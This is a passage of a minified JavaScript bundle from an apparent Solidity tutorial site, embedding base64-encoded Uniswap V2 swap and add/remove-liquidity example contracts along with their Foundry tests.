BXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4odWludDI1NiBhbW91bnRJbiwgdWludDI1NiBhbW91bnRPdXRNaW4pCiAgICAgICAgZXh0ZXJuYWwKICAgICAgICByZXR1cm5zICh1aW50MjU2IGFtb3VudE91dCkKICAgIHsKICAgICAgICBkYWkudHJhbnNmZXJGcm9tKG1zZy5zZW5kZXIsIGFkZHJlc3ModGhpcyksIGFtb3VudEluKTsKICAgICAgICBkYWkuYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluKTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDMpOwogICAgICAgIHBhdGhbMF0gPSBEQUk7CiAgICAgICAgcGF0aFsxXSA9IFdFVEg7CiAgICAgICAgcGF0aFsyXSA9IFVTREM7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudEluLCBhbW91bnRPdXRNaW4sIHBhdGgsIG1zZy5zZW5kZXIsIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CgogICAgICAgIC8vIGFtb3VudHNbMF0gPSBEQUkgYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1sxXSA9IFdFVEggYW1vdW50CiAgICAgICAgLy8gYW1vdW50c1syXSA9IFVTREMgYW1vdW50CiAgICAgICAgcmV0dXJuIGFtb3VudHNbMl07CiAgICB9CgogICAgLy8gU3dhcCBXRVRIIHRvIERBSQogICAgZnVuY3Rpb24gc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgd2V0aC50cmFuc2ZlckZyb20obXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgYW1vdW50SW5NYXgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHJvdXRlciksIGFtb3VudEluTWF4KTsKCiAgICAgICAgYWRkcmVzc1tdIG1lbW9yeSBwYXRoOwogICAgICAgIHBhdGggPSBuZXcgYWRkcmVzc1tdKDIpOwogICAgICAgIHBhdGhbMF0gPSBXRVRIOwogICAgICAgIHBhdGhbMV0gPSBEQUk7CgogICAgICAgIHVpbnQyNTZbXSBtZW1vcnkgYW1vdW50cyA9IHJvdXRlci5zd2FwVG9rZW5zRm9yRXhhY3RUb2tlbnMoCiAgICAgICAgICAgIGFtb3VudE91dERlc2lyZWQsIGFtb3VudEluTWF4LCBwYXRoLCBtc2cuc2VuZGVyLCBibG9jay50aW1lc3RhbXAKICAgICAgICApOwoKICAgICAgICAvLyBSZWZ1bmQgV0VUSCB0byBtc2cuc2VuZGVyCiAgICAgICAgaWYgKGFtb3VudHNbMF0gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICB3ZXRoLnRyYW5zZmVyKG1zZy5zZW5kZXIsIGFtb3VudEluTWF4IC0gYW1vdW50c1swXSk7CiAgICAgICAgfQoKICAgICAgICByZXR1cm4gYW1vdW50c1sxXTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KAogICAgICAgIHVpbnQyNTYgYW1vdW50T3V0RGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEluTWF4CiAgICApIGV4dGVybmFsIHJldHVybnMgKHVpbnQyNTYgYW1vdW50T3V0KSB7CiAgICAgICAgZGFpLnRyYW5zZmVyRnJvbShtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBhbW91bnRJbk1heCk7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyhyb3V0ZXIpLCBhbW91bnRJbk1heCk7CgogICAgICAgIGFkZHJlc3NbXSBtZW1vcnkgcGF0aDsKICAgICAgICBwYXRoID0gbmV3IGFkZHJlc3NbXSgzKTsKICAgICAgICBwYXRoWzBdID0gREFJOwogICAgICAgIHBhdGhbMV0gPSBXRVRIOwogICAgICAgIHBhdGhbMl0gPSBVU0RDOwoKICAgICAgICB1aW50MjU2W10gbWVtb3J5IGFtb3VudHMgPSByb3V0ZXIuc3dhcFRva2Vuc0ZvckV4YWN0VG9rZW5zKAogICAgICAgICAgICBhbW91bnRPdXREZXNpcmVkLCBhbW91bnRJbk1heCwgcGF0aCwgbXNnLnNlbmRlciwgYmxvY2sudGltZXN0YW1wCiAgICAgICAgKTsKCiAgICAgICAgLy8gUmVmdW5kIERBSSB0byBtc2cuc2VuZGVyCiAgICAgICAgaWYgKGFtb3VudHNbMF0gPCBhbW91bnRJbk1heCkgewogICAgICAgICAgICBkYWkudHJhbnNmZXIobXNnLnNlbmRlciwgYW1vdW50SW5NYXggLSBhbW91bnRzWzBdKTsKICAgICAgICB9CgogICAgICAgIHJldHVybiBhbW91bnRzWzJdOwogICAgfQp9CgppbnRlcmZhY2UgSVVuaXN3YXBWMlJvdXRlciB7CiAgICBmdW5jdGlvbiBzd2FwRXhhY3RUb2tlbnNGb3JUb2tlbnMoCiAgICAgICAgdWludDI1NiBhbW91bnRJbiwKICAgICAgICB1aW50MjU2IGFtb3VudE91dE1pbiwKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgcGF0aCwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSBhbW91bnRzKTsKCiAgICBmdW5jdGlvbiBzd2FwVG9rZW5zRm9yRXhhY3RUb2tlbnMoCiAgICAgICAgdWludDI1NiBhbW91bnRPdXQsCiAgICAgICAgdWludDI1NiBhbW91bnRJbk1heCwKICAgICAgICBhZGRyZXNzW10gY2FsbGRhdGEgcGF0aCwKICAgICAgICBhZGRyZXNzIHRvLAogICAgICAgIHVpbnQyNTYgZGVhZGxpbmUKICAgICkgZXh0ZXJuYWwgcmV0dXJucyAodWludDI1NltdIG1lbW9yeSBhbW91bnRzKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0KCmludGVyZmFjZSBJV0VUSCBpcyBJRVJDMjAgewogICAgZnVuY3Rpb24gZGVwb3NpdCgpIGV4dGVybmFsIHBheWFibGU7CiAgICBmdW5jdGlvbiB3aXRoZHJhdyh1aW50MjU2IGFtb3VudCkgZXh0ZXJuYWw7Cn0K"},{fileName:"UniswapV2SwapExamplesTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdCwgY29uc29sZTJ9IGZyb20gImZvcmdlLXN0ZC9UZXN0LnNvbCI7CmltcG9ydCB7CiAgICBVbmlzd2FwVjJTd2FwRXhhbXBsZXMsCiAgICBJRVJDMjAsCiAgICBJV0VUSAp9IGZyb20gIi4uLy4uLy4uL3NyYy9kZWZpL3VuaXN3YXAtdjIvVW5pc3dhcFYyU3dhcEV4YW1wbGVzLnNvbCI7CgphZGRyZXNzIGNvbnN0YW50IFdFVEggPSAweEMwMmFhQTM5YjIyM0ZFOEQwQTBlNUM0RjI3ZUFEOTA4M0M3NTZDYzI7CmFkZHJlc3MgY29uc3RhbnQgREFJID0gMHg2QjE3NTQ3NEU4OTA5NEM0NERhOThiOTU0RWVkZUFDNDk1MjcxZDBGOwphZGRyZXNzIGNvbnN0YW50IFVTREMgPSAweEEwYjg2OTkxYzYyMThiMzZjMWQxOUQ0YTJlOUViMGNFMzYwNmVCNDg7Cgpjb250cmFjdCBVbmlzd2FwVjJTd2FwRXhhbXBsZXNUZXN0IGlzIFRlc3QgewogICAgSVdFVEggcHJpdmF0ZSB3ZXRoID0gSVdFVEgoV0VUSCk7CiAgICBJRVJDMjAgcHJpdmF0ZSBkYWkgPSBJRVJDMjAoREFJKTsKICAgIElFUkMyMCBwcml2YXRlIHVzZGMgPSBJRVJDMjAoVVNEQyk7CgogICAgVW5pc3dhcFYyU3dhcEV4YW1wbGVzIHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMlN3YXBFeGFtcGxlcygpOwoKICAgIGZ1bmN0aW9uIHNldFVwKCkgcHVibGljIHt9CgogICAgLy8gU3dhcCBXRVRIIC0+IERBSQogICAgZnVuY3Rpb24gdGVzdFN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKCkgcHVibGljIHsKICAgICAgICB1aW50MjU2IHdldGhBbW91bnQgPSAxZTE4OwogICAgICAgIHdldGguZGVwb3NpdHt2YWx1ZTogd2V0aEFtb3VudH0oKTsKICAgICAgICB3ZXRoLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRNaW4gPSAxOwogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudEluKHdldGhBbW91bnQsIGRhaUFtb3VudE1pbik7CgogICAgICAgIGNvbnNvbGUyLmxvZygiREFJIiwgZGFpQW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRHZShkYWlBbW91bnRPdXQsIGRhaUFtb3VudE1pbiwgImFtb3VudCBvdXQgPCBtaW4iKTsKICAgIH0KCiAgICAvLyBTd2FwIERBSSAtPiBXRVRIIC0+IFVTREMKICAgIGZ1bmN0aW9uIHRlc3RTd2FwTXVsdGlIb3BFeGFjdEFtb3VudEluKCkgcHVibGljIHsKICAgICAgICAvLyBTd2FwIFdFVEggLT4gREFJCiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50TWluID0gMTsKICAgICAgICB1bmkuc3dhcFNpbmdsZUhvcEV4YWN0QW1vdW50SW4od2V0aEFtb3VudCwgZGFpQW1vdW50TWluKTsKCiAgICAgICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRJbiA9IDFlMTg7CiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCBkYWlBbW91bnRJbik7CgogICAgICAgIHVpbnQyNTYgdXNkY0Ftb3VudE91dE1pbiA9IDE7CiAgICAgICAgdWludDI1NiB1c2RjQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBNdWx0aUhvcEV4YWN0QW1vdW50SW4oZGFpQW1vdW50SW4sIHVzZGNBbW91bnRPdXRNaW4pOwoKICAgICAgICBjb25zb2xlMi5sb2coIlVTREMiLCB1c2RjQW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRHZSh1c2RjQW1vdW50T3V0LCB1c2RjQW1vdW50T3V0TWluLCAiYW1vdW50IG91dCA8IG1pbiIpOwogICAgfQoKICAgIC8vIFN3YXAgV0VUSCAtPiBEQUkKICAgIGZ1bmN0aW9uIHRlc3RTd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRPdXQoKSBwdWJsaWMgewogICAgICAgIHVpbnQyNTYgd2V0aEFtb3VudCA9IDFlMTg7CiAgICAgICAgd2V0aC5kZXBvc2l0e3ZhbHVlOiB3ZXRoQW1vdW50fSgpOwogICAgICAgIHdldGguYXBwcm92ZShhZGRyZXNzKHVuaSksIHdldGhBbW91bnQpOwoKICAgICAgICB1aW50MjU2IGRhaUFtb3VudERlc2lyZWQgPSAxZTE4OwogICAgICAgIHVpbnQyNTYgZGFpQW1vdW50T3V0ID0KICAgICAgICAgICAgdW5pLnN3YXBTaW5nbGVIb3BFeGFjdEFtb3VudE91dChkYWlBbW91bnREZXNpcmVkLCB3ZXRoQW1vdW50KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJEQUkiLCBkYWlBbW91bnRPdXQpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICBkYWlBbW91bnRPdXQsIGRhaUFtb3VudERlc2lyZWQsICJhbW91bnQgb3V0ICE9IGFtb3VudCBvdXQgZGVzaXJlZCIKICAgICAgICApOwogICAgfQoKICAgIC8vIFN3YXAgREFJIC0+IFdFVEggLT4gVVNEQwogICAgZnVuY3Rpb24gdGVzdFN3YXBNdWx0aUhvcEV4YWN0QW1vdW50T3V0KCkgcHVibGljIHsKICAgICAgICAvLyBTd2FwIFdFVEggLT4gREFJCiAgICAgICAgdWludDI1NiB3ZXRoQW1vdW50ID0gMWUxODsKICAgICAgICB3ZXRoLmRlcG9zaXR7dmFsdWU6IHdldGhBbW91bnR9KCk7CiAgICAgICAgd2V0aC5hcHByb3ZlKGFkZHJlc3ModW5pKSwgd2V0aEFtb3VudCk7CgogICAgICAgIC8vIEJ1eSAxMDAgREFJCiAgICAgICAgdWludDI1NiBkYWlBbW91bnRPdXQgPSAxMDAgKiAxZTE4OwogICAgICAgIHVuaS5zd2FwU2luZ2xlSG9wRXhhY3RBbW91bnRPdXQoZGFpQW1vdW50T3V0LCB3ZXRoQW1vdW50KTsKCiAgICAgICAgLy8gU3dhcCBEQUkgLT4gV0VUSCAtPiBVU0RDCiAgICAgICAgZGFpLmFwcHJvdmUoYWRkcmVzcyh1bmkpLCBkYWlBbW91bnRPdXQpOwoKICAgICAgICB1aW50MjU2IGFtb3VudE91dERlc2lyZWQgPSAxZTY7CiAgICAgICAgdWludDI1NiBhbW91bnRPdXQgPQogICAgICAgICAgICB1bmkuc3dhcE11bHRpSG9wRXhhY3RBbW91bnRPdXQoYW1vdW50T3V0RGVzaXJlZCwgZGFpQW1vdW50T3V0KTsKCiAgICAgICAgY29uc29sZTIubG9nKCJVU0RDIiwgYW1vdW50T3V0KTsKICAgICAgICBhc3NlcnRFcSgKICAgICAgICAgICAgYW1vdW50T3V0LCBhbW91bnRPdXREZXNpcmVkLCAiYW1vdW50IG91dCAhPSBhbW91bnQgb3V0IGRlc2lyZWQiCiAgICAgICAgKTsKICAgIH0KfQo="}],Fm=`

                    swapExactTokensForTokens sells all tokens for another.

                    swapTokensForExactTokens buys specific amount of tokens set by the caller.

                    // SPDX-License-Identifier: MIT
 pragma solidity ^0.8.24;
@@ -5463,7 +5463,7 @@ Topics
         );
     }
 }
-
                    `,Km=({prev:s,next:a})=>r.jsx(u,{version:Xm,title:vm,description:Nm,html:Fm,prev:s,next:a,codes:Hm}),Mm="0.8.24",Sm="Uniswap V2 Add Remove Liquidity",xm="Uniswap V2 add remove liquidity",Jm=[{fileName:"UniswapV2Liquidity.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmNvbnRyYWN0IFVuaXN3YXBWMkFkZExpcXVpZGl0eSB7CiAgICBhZGRyZXNzIHByaXZhdGUgY29uc3RhbnQgRkFDVE9SWSA9CiAgICAgICAgMHg1QzY5YkVlNzAxZWY4MTRhMkI2YTNFREQ0QjE2NTJDQjljYzVhQTZmOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFJPVVRFUiA9IDB4N2EyNTBkNTYzMEI0Y0Y1Mzk3MzlkRjJDNWRBY2I0YzY1OUYyNDg4RDsKICAgIGFkZHJlc3MgcHJpdmF0ZSBjb25zdGFudCBXRVRIID0gMHhDMDJhYUEzOWIyMjNGRThEMEEwZTVDNEYyN2VBRDkwODNDNzU2Q2MyOwogICAgYWRkcmVzcyBwcml2YXRlIGNvbnN0YW50IFVTRFQgPSAweGRBQzE3Rjk1OEQyZWU1MjNhMjIwNjIwNjk5NDU5N0MxM0Q4MzFlYzc7CgogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgX3Rva2VuQSwKICAgICAgICBhZGRyZXNzIF90b2tlbkIsCiAgICAgICAgdWludDI1NiBfYW1vdW50QSwKICAgICAgICB1aW50MjU2IF9hbW91bnRCCiAgICApIGV4dGVybmFsIHsKICAgICAgICBzYWZlVHJhbnNmZXJGcm9tKElFUkMyMChfdG9rZW5BKSwgbXNnLnNlbmRlciwgYWRkcmVzcyh0aGlzKSwgX2Ftb3VudEEpOwogICAgICAgIHNhZmVUcmFuc2ZlckZyb20oSUVSQzIwKF90b2tlbkIpLCBtc2cuc2VuZGVyLCBhZGRyZXNzKHRoaXMpLCBfYW1vdW50Qik7CgogICAgICAgIHNhZmVBcHByb3ZlKElFUkMyMChfdG9rZW5BKSwgUk9VVEVSLCBfYW1vdW50QSk7CiAgICAgICAgc2FmZUFwcHJvdmUoSUVSQzIwKF90b2tlbkIpLCBST1VURVIsIF9hbW91bnRCKTsKCiAgICAgICAgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCLCB1aW50MjU2IGxpcXVpZGl0eSkgPSBJVW5pc3dhcFYyUm91dGVyKAogICAgICAgICAgICBST1VURVIKICAgICAgICApLmFkZExpcXVpZGl0eSgKICAgICAgICAgICAgX3Rva2VuQSwKICAgICAgICAgICAgX3Rva2VuQiwKICAgICAgICAgICAgX2Ftb3VudEEsCiAgICAgICAgICAgIF9hbW91bnRCLAogICAgICAgICAgICAxLAogICAgICAgICAgICAxLAogICAgICAgICAgICBhZGRyZXNzKHRoaXMpLAogICAgICAgICAgICBibG9jay50aW1lc3RhbXAKICAgICAgICApOwogICAgfQoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eShhZGRyZXNzIF90b2tlbkEsIGFkZHJlc3MgX3Rva2VuQikgZXh0ZXJuYWwgewogICAgICAgIGFkZHJlc3MgcGFpciA9IElVbmlzd2FwVjJGYWN0b3J5KEZBQ1RPUlkpLmdldFBhaXIoX3Rva2VuQSwgX3Rva2VuQik7CgogICAgICAgIHVpbnQyNTYgbGlxdWlkaXR5ID0gSUVSQzIwKHBhaXIpLmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKTsKICAgICAgICBzYWZlQXBwcm92ZShJRVJDMjAocGFpciksIFJPVVRFUiwgbGlxdWlkaXR5KTsKCiAgICAgICAgKHVpbnQyNTYgYW1vdW50QSwgdWludDI1NiBhbW91bnRCKSA9IElVbmlzd2FwVjJSb3V0ZXIoUk9VVEVSKQogICAgICAgICAgICAucmVtb3ZlTGlxdWlkaXR5KAogICAgICAgICAgICBfdG9rZW5BLCBfdG9rZW5CLCBsaXF1aWRpdHksIDEsIDEsIGFkZHJlc3ModGhpcyksIGJsb2NrLnRpbWVzdGFtcAogICAgICAgICk7CiAgICB9CgogICAgLyoqCiAgICAgKiBAZGV2IFRoZSB0cmFuc2ZlckZyb20gZnVuY3Rpb24gbWF5IG9yIG1heSBub3QgcmV0dXJuIGEgYm9vbC4KICAgICAqIFRoZSBFUkMtMjAgc3BlYyByZXR1cm5zIGEgYm9vbCwgYnV0IHNvbWUgdG9rZW5zIGRvbid0IGZvbGxvdyB0aGUgc3BlYy4KICAgICAqIE5lZWQgdG8gY2hlY2sgaWYgZGF0YSBpcyBlbXB0eSBvciB0cnVlLgogICAgICovCiAgICBmdW5jdGlvbiBzYWZlVHJhbnNmZXJGcm9tKAogICAgICAgIElFUkMyMCB0b2tlbiwKICAgICAgICBhZGRyZXNzIHNlbmRlciwKICAgICAgICBhZGRyZXNzIHJlY2lwaWVudCwKICAgICAgICB1aW50MjU2IGFtb3VudAogICAgKSBpbnRlcm5hbCB7CiAgICAgICAgKGJvb2wgc3VjY2VzcywgYnl0ZXMgbWVtb3J5IHJldHVybkRhdGEpID0gYWRkcmVzcyh0b2tlbikuY2FsbCgKICAgICAgICAgICAgYWJpLmVuY29kZUNhbGwoSUVSQzIwLnRyYW5zZmVyRnJvbSwgKHNlbmRlciwgcmVjaXBpZW50LCBhbW91bnQpKQogICAgICAgICk7CiAgICAgICAgcmVxdWlyZSgKICAgICAgICAgICAgc3VjY2VzcwogICAgICAgICAgICAgICAgJiYgKHJldHVybkRhdGEubGVuZ3RoID09IDAgfHwgYWJpLmRlY29kZShyZXR1cm5EYXRhLCAoYm9vbCkpKSwKICAgICAgICAgICAgIlRyYW5zZmVyIGZyb20gZmFpbCIKICAgICAgICApOwogICAgfQoKICAgIC8qKgogICAgICogQGRldiBUaGUgYXBwcm92ZSBmdW5jdGlvbiBtYXkgb3IgbWF5IG5vdCByZXR1cm4gYSBib29sLgogICAgICogVGhlIEVSQy0yMCBzcGVjIHJldHVybnMgYSBib29sLCBidXQgc29tZSB0b2tlbnMgZG9uJ3QgZm9sbG93IHRoZSBzcGVjLgogICAgICogTmVlZCB0byBjaGVjayBpZiBkYXRhIGlzIGVtcHR5IG9yIHRydWUuCiAgICAgKi8KICAgIGZ1bmN0aW9uIHNhZmVBcHByb3ZlKElFUkMyMCB0b2tlbiwgYWRkcmVzcyBzcGVuZGVyLCB1aW50MjU2IGFtb3VudCkKICAgICAgICBpbnRlcm5hbAogICAgewogICAgICAgIChib29sIHN1Y2Nlc3MsIGJ5dGVzIG1lbW9yeSByZXR1cm5EYXRhKSA9IGFkZHJlc3ModG9rZW4pLmNhbGwoCiAgICAgICAgICAgIGFiaS5lbmNvZGVDYWxsKElFUkMyMC5hcHByb3ZlLCAoc3BlbmRlciwgYW1vdW50KSkKICAgICAgICApOwogICAgICAgIHJlcXVpcmUoCiAgICAgICAgICAgIHN1Y2Nlc3MKICAgICAgICAgICAgICAgICYmIChyZXR1cm5EYXRhLmxlbmd0aCA9PSAwIHx8IGFiaS5kZWNvZGUocmV0dXJuRGF0YSwgKGJvb2wpKSksCiAgICAgICAgICAgICJBcHByb3ZlIGZhaWwiCiAgICAgICAgKTsKICAgIH0KfQoKaW50ZXJmYWNlIElVbmlzd2FwVjJSb3V0ZXIgewogICAgZnVuY3Rpb24gYWRkTGlxdWlkaXR5KAogICAgICAgIGFkZHJlc3MgdG9rZW5BLAogICAgICAgIGFkZHJlc3MgdG9rZW5CLAogICAgICAgIHVpbnQyNTYgYW1vdW50QURlc2lyZWQsCiAgICAgICAgdWludDI1NiBhbW91bnRCRGVzaXJlZCwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50QiwgdWludDI1NiBsaXF1aWRpdHkpOwoKICAgIGZ1bmN0aW9uIHJlbW92ZUxpcXVpZGl0eSgKICAgICAgICBhZGRyZXNzIHRva2VuQSwKICAgICAgICBhZGRyZXNzIHRva2VuQiwKICAgICAgICB1aW50MjU2IGxpcXVpZGl0eSwKICAgICAgICB1aW50MjU2IGFtb3VudEFNaW4sCiAgICAgICAgdWludDI1NiBhbW91bnRCTWluLAogICAgICAgIGFkZHJlc3MgdG8sCiAgICAgICAgdWludDI1NiBkZWFkbGluZQogICAgKSBleHRlcm5hbCByZXR1cm5zICh1aW50MjU2IGFtb3VudEEsIHVpbnQyNTYgYW1vdW50Qik7Cn0KCmludGVyZmFjZSBJVW5pc3dhcFYyRmFjdG9yeSB7CiAgICBmdW5jdGlvbiBnZXRQYWlyKGFkZHJlc3MgdG9rZW4wLCBhZGRyZXNzIHRva2VuMSkKICAgICAgICBleHRlcm5hbAogICAgICAgIHZpZXcKICAgICAgICByZXR1cm5zIChhZGRyZXNzKTsKfQoKaW50ZXJmYWNlIElFUkMyMCB7CiAgICBmdW5jdGlvbiB0b3RhbFN1cHBseSgpIGV4dGVybmFsIHZpZXcgcmV0dXJucyAodWludDI1Nik7CiAgICBmdW5jdGlvbiBiYWxhbmNlT2YoYWRkcmVzcyBhY2NvdW50KSBleHRlcm5hbCB2aWV3IHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gdHJhbnNmZXIoYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7CiAgICBmdW5jdGlvbiBhbGxvd2FuY2UoYWRkcmVzcyBvd25lciwgYWRkcmVzcyBzcGVuZGVyKQogICAgICAgIGV4dGVybmFsCiAgICAgICAgdmlldwogICAgICAgIHJldHVybnMgKHVpbnQyNTYpOwogICAgZnVuY3Rpb24gYXBwcm92ZShhZGRyZXNzIHNwZW5kZXIsIHVpbnQyNTYgYW1vdW50KSBleHRlcm5hbCByZXR1cm5zIChib29sKTsKICAgIGZ1bmN0aW9uIHRyYW5zZmVyRnJvbShhZGRyZXNzIHNlbmRlciwgYWRkcmVzcyByZWNpcGllbnQsIHVpbnQyNTYgYW1vdW50KQogICAgICAgIGV4dGVybmFsCiAgICAgICAgcmV0dXJucyAoYm9vbCk7Cn0K"},{fileName:"UniswapV2LiquidityTest.sol",code:"Ly8gU1BEWC1MaWNlbnNlLUlkZW50aWZpZXI6IE1JVApwcmFnbWEgc29saWRpdHkgXjAuOC4yNDsKCmltcG9ydCB7VGVzdH0gZnJvbSAiZm9yZ2Utc3RkL1Rlc3Quc29sIjsKaW1wb3J0CiAgICAiLi4vLi4vLi4vc3JjL2RlZmkvdW5pc3dhcC12Mi1hZGQtcmVtb3ZlLWxpcXVpZGl0eS9Vbmlzd2FwVjJMaXF1aWRpdHkuc29sIjsKCklFUkMyMCBjb25zdGFudCBXRVRIID0gSUVSQzIwKDB4QzAyYWFBMzliMjIzRkU4RDBBMGU1QzRGMjdlQUQ5MDgzQzc1NkNjMik7CklFUkMyMCBjb25zdGFudCBVU0RUID0gSUVSQzIwKDB4ZEFDMTdGOTU4RDJlZTUyM2EyMjA2MjA2OTk0NTk3QzEzRDgzMWVjNyk7CklFUkMyMCBjb25zdGFudCBQQUlSID0gSUVSQzIwKDB4MGQ0YTExZDVFRWFhQzI4RUMzRjYxZDEwMGRhRjRkNDA0NzFmMTg1Mik7Cgpjb250cmFjdCBVbmlzd2FwVjJBZGRMaXF1aWRpdHlUZXN0IGlzIFRlc3QgewogICAgVW5pc3dhcFYyQWRkTGlxdWlkaXR5IHByaXZhdGUgdW5pID0gbmV3IFVuaXN3YXBWMkFkZExpcXVpZGl0eSgpOwoKICAgIC8vICBBZGQgV0VUSC9VU0RUIExpcXVpZGl0eSB0byBVbmlzd2FwCiAgICBmdW5jdGlvbiB0ZXN0QWRkTGlxdWlkaXR5KCkgcHVibGljIHsKICAgICAgICAvLyBEZWFsIHRlc3QgVVNEVCBhbmQgV0VUSCB0byB0aGlzIGNvbnRyYWN0CiAgICAgICAgZGVhbChhZGRyZXNzKFVTRFQpLCBhZGRyZXNzKHRoaXMpLCAxZTYgKiAxZTYpOwogICAgICAgIGFzc2VydEVxKAogICAgICAgICAgICBVU0RULmJhbGFuY2VPZihhZGRyZXNzKHRoaXMpKSwgMWU2ICogMWU2LCAiVVNEVCBiYWxhbmNlIGluY29ycmVjdCIKICAgICAgICApOwogICAgICAgIGRlYWwoYWRkcmVzcyhXRVRIKSwgYWRkcmVzcyh0aGlzKSwgMWU2ICogMWUxOCk7CiAgICAgICAgYXNzZXJ0RXEoCiAgICAgICAgICAgIFdFVEguYmFsYW5jZU9mKGFkZHJlc3ModGhpcykpLCAxZTYgKiAxZTE4LCAiV0VUSCBiYWxhbmNlIGluY29ycmVjdCIKICAgICAgICApOwoKICAgICAgICAvLyBBcHByb3ZlIHVuaSBmb3IgdHJhbnNmZXJyaW5nCiAgICAgICAgc2FmZUFwcHJvdmUoV0VUSCwgYWRkcmVzcyh1bmkpLCAxZTY0KTsKICAgICAgICBzYWZlQXBwcm92ZShVU0RULCBhZGRyZXNzKHVuaSksIDFlNjQpOwoKICAgICAgICB1bmkuYWRkTGlxdWlkaXR5KGFkZHJlc3MoV0VUSCksIGFkZHJlc3MoVVNEVCksIDEgKiAxZTE4LCAzMDAwLjA1ICogMWU